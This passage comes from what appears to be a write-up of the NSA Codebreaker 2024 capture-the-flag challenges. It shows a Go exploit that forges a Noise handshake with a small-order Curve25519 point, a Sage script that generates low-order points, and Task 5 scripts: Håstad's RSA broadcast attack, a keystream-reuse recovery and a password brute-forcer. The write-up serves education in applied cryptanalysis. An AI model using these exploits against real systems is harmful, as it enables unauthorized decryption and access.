	responderPrivateKeyHex2 := hex.EncodeToString(responderPrivateKey[:])
	fmt.Println("responderPrivateKey (hex):", responderPrivateKeyHex2, "\n")

	initiatorPublicKeyHex2 := hex.EncodeToString(initiatorPublicKey[:])
	fmt.Println("initiatorPublicKey (hex):", initiatorPublicKeyHex2, "\n")

	dh2Hex := hex.EncodeToString(dh2[:])
	fmt.Println("dh2 (hex):", dh2Hex, "\n")

	// MixKey with dh2
	mixKey(&ss, dh2)

	// At this point, ss.ck and ss.cs.k contain the chain key and cipher key the responder will use

	// Now, as the attacker (initiator), we can compute the same keys

	// Initialize symmetric state as initiator
	initSS := initializeSymmetric(name)
	mixHash(&initSS, prologue)
	mixHash(&initSS, initiatorPublicKey[:])
	mixHash(&initSS, responderPublicKey[:])

	// We use the same hs.e.publicKey (small order point)
	hsEPublicKey := smallOrderPublicKey
	mixHash(&initSS, hsEPublicKey[:])

	// Since we don't have the initiator's private key, but we can set it to zero
	var zeroPrivateKey [32]byte

	// Compute dh(hs.e.privateKey, hs.rs) with zero private key
	dh1Initiator := dh(zeroPrivateKey, responderPublicKey)
	mixKey(&initSS, dh1Initiator)

	// Compute dh(hs.s.privateKey, hs.rs) with zero private key
	dh2Initiator := dh(zeroPrivateKey, responderPublicKey)
	mixKey(&initSS, dh2Initiator)

	// Now, initSS.ck and initSS.cs.k are the keys the initiator would have
	// However, since we used zero private keys, the dh outputs are zeros
	// But we know the responder's keys from earlier, so we can use those

	// For the exploit, we'll use the responder's ss.ck and ss.cs.k to encrypt the payload
	payload := []byte("Secret message from initiator")

	// Encrypt the payload using the responder's cipher key and handshake hash
	ciphertext := encrypt(ss.cs.k, ss.cs.n, ss.h[:], payload)
	ss.cs.n = incrementNonce(ss.cs.n)

	// Prepare the message buffer to send to the responder
	message := messagebuffer{
		ne:         smallOrderPublicKey, // Our crafted ephemeral public key
		ns:         []byte{},            // No static key sent
		ciphertext: ciphertext,
	}

	// The responder will process the message using their state
	// For demonstration, we can show that the responder can decrypt the message

	// Responder decrypts the ciphertext
	valid, _, decryptedPayload := decrypt(ss.cs.k, ss.cs.n-1, ss.h[:], message.ciphertext)
	if valid {
		fmt.Println("Responder decrypted the message successfully:")
		fmt.Println(string(decryptedPayload))
	} else {
		fmt.Println("Responder failed to decrypt the message.")
	}

	responderSession := InitSession(false, prologue, keypair{responderPublicKey, responderPrivateKey}, initiatorPublicKey)

	_, plaintext, valid, err := RecvMessage(&responderSession, &message)
	if err != nil {
		panic(err)
	}
	if !valid {
		panic("Decryption failed!")
	}

	// Output the decrypted message
	fmt.Printf("Responder decrypted message: %s\n", string(plaintext))

	encode_msg(message)
}

Full Solution

dns_builder.go

Based on the prompt, we just need to submit a valid domain that will be successfully decrypted by the server (responder).

We can submit this example:

x0000000000000000000000000000000000000000000000000205JE9IVFKSJQ.x239RG2FQ362C1UGLDQU3NJ80QLTJ43LBM7QRCO6J98G6IGC2K3SH1FQHNBLJFG.xzzzzxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.net-jl7s7rd2.example.com

Upon further investigation, we can confirm that after successful decoding of data, it forwards to port 3000 with http protocol. However, payload structure is not yet known and will be the focus for Task 7.

Bonus#1

How did I know that the initial encoding is base32 with 0-9A-V?

Put a breakpoint at name2buffer DecodeString function.

Basically, name2buffer contain statements that we used in ProcessAndDig and encode_msg function on our script.

Bonus#2

Here is a sagemath script to generate low order point for x-coordinate. In theory, few of public keys here that are not included on forbiddenCurveValues should work for the exploit.

p = 2^255 - 19
F = GF(p)
E = EllipticCurve(F, [0, 486662, 0, 1, 0])  # Curve25519

def find_small_order_x_coordinates(d):
    try:
        psi_d = E.division_polynomial(d)
        return [Integer(root) for root in psi_d.roots(multiplicities=False)]
    except:
        return []

orders = [2, 4, 8]
small_order_x = set()

# Collect x-coordinates from division polynomials
for d in orders:
    x_coords = find_small_order_x_coordinates(d)
    small_order_x.update(x_coords)

# Add special-case values (explicit Integer conversion)
special_x = [
    0,                  # x=0 (order 4)
    1,                  # x=1 (invalid point)
    2^255,              # x=2²⁵⁵ (invalid field element)
    19,                 # x=19 (equivalent to 2²⁵⁵ mod p)
    0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFED,
    0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEE
]

for x in special_x:
    small_order_x.add(Integer(x))

# Convert to little-endian byte arrays
def int_to_le_bytes(n):
    return list(int(n).to_bytes(32, 'little'))

forbidden_curve_values = [int_to_le_bytes(x) for x in small_order_x]

# Print in Go slice format
print("var forbiddenCurveValues = [][]byte{")
for entry in forbidden_curve_values:
    byte_str = ", ".join(f"{b}" for b in entry)
    print(f"\t{{{byte_str}}},")
print("}")

[NSA2024] Task 5 – The #153 – (Reverse Engineering, Cryptography)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

Great job finding out what the APT did with the LLM! GA was able to check their network logs and figure out which developer copy and pasted the malicious code; that developer works on a core library used in firmware for the U.S. Joint Cyber Tactical Vehicle (JCTV)! This is worse than we thought!

You ask GA if they can share the firmware, but they must work with their legal teams to release copies of it (even to the NSA). While you wait, you look back at the data recovered from the raid. You discover an additional drive that you haven’t yet examined, so you decide to go back and look to see if you can find anything interesting on it. Sure enough, you find an encrypted file system on it, maybe it contains something that will help!

Unfortunately, you need to find a way to decrypt it. You remember that Emiko joined the Cryptanalysis Development Program (CADP) and might have some experience with this type of thing. When you reach out, he’s immediately interested! He tells you that while the cryptography is usually solid, the implementation can often have flaws. Together you start hunting for something that will give you access to the filesystem.

What is the password to decrypt the filesystem?

Downloads

disk image of the USB drive which contains the encrypted filesystem (disk.dd.tar.gz)
Interesting files from the user’s directory (files.zip)
Interesting files from the bin/ directory (bins.zip)

Prompt

Enter the password (hope it works!)

Solution

So we start off by checking the given files.

After some poking around, we learned that we are currently doing forensics on workstation of 570RM. We also learned that 570RM sent passwords to 4C1D, PL46U3, and V3RM1N.
Another thing here is we have the public keys of 4C1D, PL46U3, and V3RM1N but not their private keys.
And lastly, we have 570RM‘s private and public key.

Going back to the sent passwords, based on context clues, we assume that they are all the same plaintext but different recipients. We cannot recover the decipher without 4C1D, PL46U3, or V3RM1N‘s private key. However, since we have 3 different ciphertexts of the same plaintexts and their public keys, we might able to recover it! With the power of Chinese Remainder Theorem.

import base64
from Crypto.PublicKey import RSA
import gmpy2

# Function to decode base64 and convert to integer
def decode_ciphertext(encrypted_message):
    return int.from_bytes(base64.b64decode(encrypted_message), byteorder='big')

# Decode ciphertexts
c1 = decode_ciphertext("B+QWncX2NQpwUWIA+1+PXw7Y9x7eL53vfixIL+N9dRMG9ZKQnOyZARtV+tG1Zfs3z/r0shpW9fhfA9kOVUw/PGx6UpIRbgRXwKd3EZ0MomhxYXeaaxkXbI2lHfCHOhcWHqsGWgaMsSYxykDe9dX8hPtVeZMwXnGKGcGaZLoQ71WNG9e1kQaMB35UozCrNeqjfrvOJu0A5jIEjZkbaiJkhv01Z9SgE9E8ToCoPU2H/6g0j0j+PnDCjCjvaBS7A2AGP+L3twl3XQmrD8GqM38kIcvvdziZoSZwaB13Uzfzli+LBXKBr9RGjwuleQTeInfSBtW9obW1/I4803mqFj7NvQ==")
c2 = decode_ciphertext("ZtMuN9EjxCv+xtsKAhl1ECIi8wIe3CVC7L1HTTBap73V6MZSEjyEf3Ea7HWyW4juyTp2+PdfDBTBmvvLOYSA2Fm3ydGXBuLav98+7nNMcfEw38x6u9NpbsC0d5qgfhks5tSaFQCkgEHH89T+yrkjT6xkJ5kw64Q+jCVWB2uygzueK5RQbmJO9qRDtiOrxN/I+GW1MLjXpiZiPZcDLnKmBbLLq0P1efakIkkRvIHrbeyyZDRvlUu2d9HLXTVKqsqAh9umxjRKTm24wGbAm1jR9iBFEdGhn2PRDPaUMKEsryjbqzGvcyr1OCr3PS8cQBoejCOLia2L/HtwbRJwMXPEqQ==")
c3 = decode_ciphertext("VRvYIQ3rOrAgQpHyInyBfNpqEHUQJEbTM89+l+Os+3BtInbawuVQ/jc/xjuRQwe40wISJPMnh+uDJZiKn2jQZCWK8AqDZN3I7BXcmvSaSLHJI0lOezlEY/7Ps60wr71YXuozxqhQwJ9dgaNSdAv0BaFPvMN1V5+HGQJfc7VqxvdFpIOq1QwVQwvq9a9HGBaUJRv/sCHDt+EHQtXHNyXJ0U1ox9YqmkOBn+nGVKK5D/WI3iMy8qPYu9F3nGYU4gx644wZSbt8Ks0aTJxKs6TYZPez5+sk0Z7qow8tvKvAXInMb4CH2CsYZnfP8EZD2OG7LpBasSOw6QiE+eL1lkxokw==")

# Extract public keys
public_key1 = RSA.import_key('''-----BEGIN RSA PUBLIC KEY-----
MIIBCAKCAQEArqHDiJwi0hddQv1LCxZcPErAT/WRD6PdUoth/ZNqbv+BZq5JIQJg
AEzeEEqh1Wafv/Ks2fMXAMsslW413zm4Lssk5+os/0JLuUje9OKAhKPTacUt4P74
ZfjDIMOIUfcFmtjcM9nQwY7e/SWXzFeSQsrSp+XdYvB3sCDZtthCUTEtW8hKtPe2
H36K+eyQKzDoMcs/BNV+XiSJoeRK1zDqrOYDNy5Jrob/q4vElEd3BlhCAnlyJg0C
wKSnTrDFDccPWJFM+cPjneSsxTyThWZ8Vr2UcZkcO0VJvFedkb0xUpiTdrHyu9l8
JBqG4CEKs+y941WxoXwNa076GMkmmbCZEQIBAw==
-----END RSA PUBLIC KEY-----''')
public_key2 = RSA.import_key('''-----BEGIN RSA PUBLIC KEY-----
MIIBCAKCAQEAt88A0ixTOgd2GpyA4ihONMkmWyEQ89vvCRVtjtcc/lp3SeXZqLpR
tSIrUt0dsBMVIss+aHrquYs7PkN2FmiHCr+uEa5mB2FvxC04iits7mbYjqoZHpHo
cZAntnSUqW4xVZJEqLh/9L/g/U5WhZ4Ta78eJFpDlo2b/vKPQQ/aBNTmCxedpK6k
KW2EEdND0etrKjh2cl4vHz6d7+OmR3X32QTDBXIjjH+nYU09xrCItfx9s27457sA
yXJ6XY1ry4/DxvAY7yRks4Zd7GynI+kUaXuzhf2WZQIKUc/BrkAnhKaZmb9p+j79
Vx5zefStg4JcFQmAMghbJ3XoUYS6DtaukwIBAw==
-----END RSA PUBLIC KEY-----''')
public_key3 = RSA.import_key('''-----BEGIN RSA PUBLIC KEY-----
MIIBCAKCAQEAyKFLqgFkvwrRt4fBSbDXVjiPdR2jo2vkrUfefAzn7YXmgcy8YM06
SWo3jNVy0/MwrMFwymFHSf31OG3WLcY9epGpg0EP4Ha7go66fy6dv47kTzEnbxSk
o4rMTRiapDFaJRWzGbfZRboS/wuQYTsk+itdMwiFMd3jt5xlDs1ULMQfS/xfcbaR
p1BX5DbdmF45CaoTzv+uBI8piGn5eAFG/Yn3L0L09xDZl5Jtw7JlMeZIo8gzOXE5
HL6eBNZ+1bi4x4dwjXHEFNyeFvbKO4EI8nPk7eRMOyZoPFoY9vrFNVlJxgL4bkaP
RxTQVVtkRsC/FEPq6fKxOnG9odDRtDsfWwIBAw==
-----END RSA PUBLIC KEY-----''')

# Get moduli
n1 = public_key1.n
n2 = public_key2.n
n3 = public_key3.n

# Implementing a custom CRT function
def custom_crt(moduli, residues):
    N = 1
    for n in moduli:
        N *= n

    result = 0
    for n_i, a_i in zip(moduli, residues):
        N_i = N // n_i
        # Modular inverse of N_i modulo n_i
        inv = gmpy2.invert(N_i, n_i)
        result += a_i * N_i * inv

    return result % N

# Use the custom CRT function to find x
x = custom_crt([n1, n2, n3], [c1, c2, c3])

# Step 4: Find the cube root of x (since e=3 for Håstad's attack)
m = gmpy2.iroot(x, 3)[0]

# Step 5: Convert the integer m back to bytes
plaintext_bytes = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')

# Step 6: Strip the PKCS#1 v1.5 padding
if plaintext_bytes.startswith(b'\x00\x02'):
    # Find the first occurrence of \x00 after the padding
    separator_index = plaintext_bytes.find(b'\x00', 2)
    if separator_index != -1:
        plaintext_bytes = plaintext_bytes[separator_index + 1:]

# Convert to string and print the recovered plaintext
plaintext = plaintext_bytes.decode('utf-8', errors='ignore')
print("Recovered plaintext:", plaintext)

Got it!

We will comeback to this information later. But for now, we need to check other binaries.

We now shift our focus to pm binary that was under bins.zip. Upon inspecting it, we learned that it was an application built from python. So we use https://pyinstxtractor-web.netlify.app/ to extract the .pyc. After that, we will now use https://pylingual.io/ to convert .pyc to human readable format.

Upon poking, we learned that the password files have a structure of: first 16 bytes are IV, and the rest are the ciphertext. We also aren’t successful in recovering the master password.

Upon investigating further, we are able to see that AWS and USB password files do have the same key.

And since we have the ciphertext and IVs of both AWS and USB, and we also have the plaintext of AWS from earlier engagement, then therefore we will be able to use Key Stream Cipher Attack to recover the plaintext of USB.

from Crypto.Cipher import AES
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import hashlib
import time

# Provided data
aws_encrypted = b'\x7c\x30\x03\x7e\xec\x00\xb2\xe1\xf4\x09\xea\x92\x27\x2d\x1e\x80\x71\x89\x2b\xb9\xa1\x4e\x39\xf2\x05\x7b\xda\xa6\x83\x0b\x2d\xbc\xff\xdc'
aws_plaintext = "r2s^PKT=lW2L(wmG06"
usb_encrypted = b'\x7c\x30\x03\x7e\xec\x00\xb2\xe1\xf4\x09\xea\x92\x27\x2d\x1e\x80\x38\xc8\x01\xdb\xa5\x43\x5c\xe2\x2c\x76\x8b\xc0\xdd\x54\x2e\xac\x1b\xbb'


# Extract IV (first 16 bytes)
iv = usb_encrypted[:16]

# Extract ciphertexts (excluding IV)
usb_ciphertext = usb_encrypted[16:]
aws_ciphertext = aws_encrypted[16:]

# Convert plaintext to bytes
aws_plaintext_bytes = aws_plaintext.encode()

# Function to derive the keystream and decrypt usb_ciphertext until non-UTF-8 encountered
def brute_force_until_invalid_utf8(aws_plaintext_bytes, aws_ciphertext, usb_ciphertext):
    possible_plaintexts = []
    # Brute-force until a non-UTF-8 character is encountered
    for length in range(1, len(aws_plaintext_bytes) + 1):
        # Derive the partial keystream for the current length
        keystream = bytes(c ^ p for c, p in zip(aws_ciphertext[:length], aws_plaintext_bytes[:length]))

        # Attempt to recover the usb plaintext using the partial keystream
        usb_plaintext = bytes(c ^ k for c, k in zip(usb_ciphertext[:length], keystream))
        
        # Attempt to recover aws plaintext to validate against the original plaintext
        aws_recovered = bytes(c ^ k for c, k in zip(aws_ciphertext[:length], keystream))
        
        try:
            usb_plaintext_string = usb_plaintext.decode('utf-8')
            aws_recovered_string = aws_recovered.decode('utf-8')
            
            # Check if aws_recovered matches aws_plaintext for validation
            if aws_recovered_string == aws_plaintext[:length]:
                possible_plaintexts.append((length, usb_plaintext_string, aws_recovered_string))
        except UnicodeDecodeError:
            # Stop if non-UTF-8 character is encountered
            break
    
    return possible_plaintexts

# Perform brute-force decryption
decrypted_plaintexts = brute_force_until_invalid_utf8(aws_plaintext_bytes, aws_ciphertext, usb_ciphertext)

# Output all possible plaintexts to a file
with open('usb_plaintext.txt', 'w') as f:
    for length, usb_plaintext, aws_recovered in decrypted_plaintexts:
        f.write(f"{usb_plaintext}\n")

Upon some iterations, I learned that the 17th and 18th characters are non-ascii printable. So there might be some collision happening. So what I did was to create a script to bruteforce the last 2 characters to forcefully unlock the USB.

We need to mount the disk.dd first by using the following commands below.

Next, once the disk is mounted, we should now see the unlock and lock binaries.

Now, here is the bruteforce script to unlock the USB content.

import subprocess
import string
import sys
from itertools import product

# Define the fixed prefix of the password
fixed_prefix = ";sY<TF1-EZc*v(nW"

# Character set for brute-forcing the last two characters
charset = string.ascii_letters + string.digits + string.punctuation

# Function to attempt unlocking
def try_password(password):
    process = subprocess.Popen(['/mnt/unlock'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = process.communicate(input=f"{password}\n".encode())
    
    # Check if the output does not contain "Password incorrect."
    if b"Password incorrect." not in stdout + stderr:
        return True
    return False

# Generate all combinations of two characters from the charset
for combo in product(charset, repeat=2):
    # Form the password by appending the brute-forced characters to the fixed prefix
    password = fixed_prefix + ''.join(combo)
    
    # Try the password
    if try_password(password):
        print(f"Password found: {password}")
        sys.exit(0)  # Exit the script once a valid password is found
    else:
        print(f"Tried password: {password} - Incorrect")

The 3 files are needed for Task 6 and Task 7. The only thing needed to submit to complete the task 5 is the password.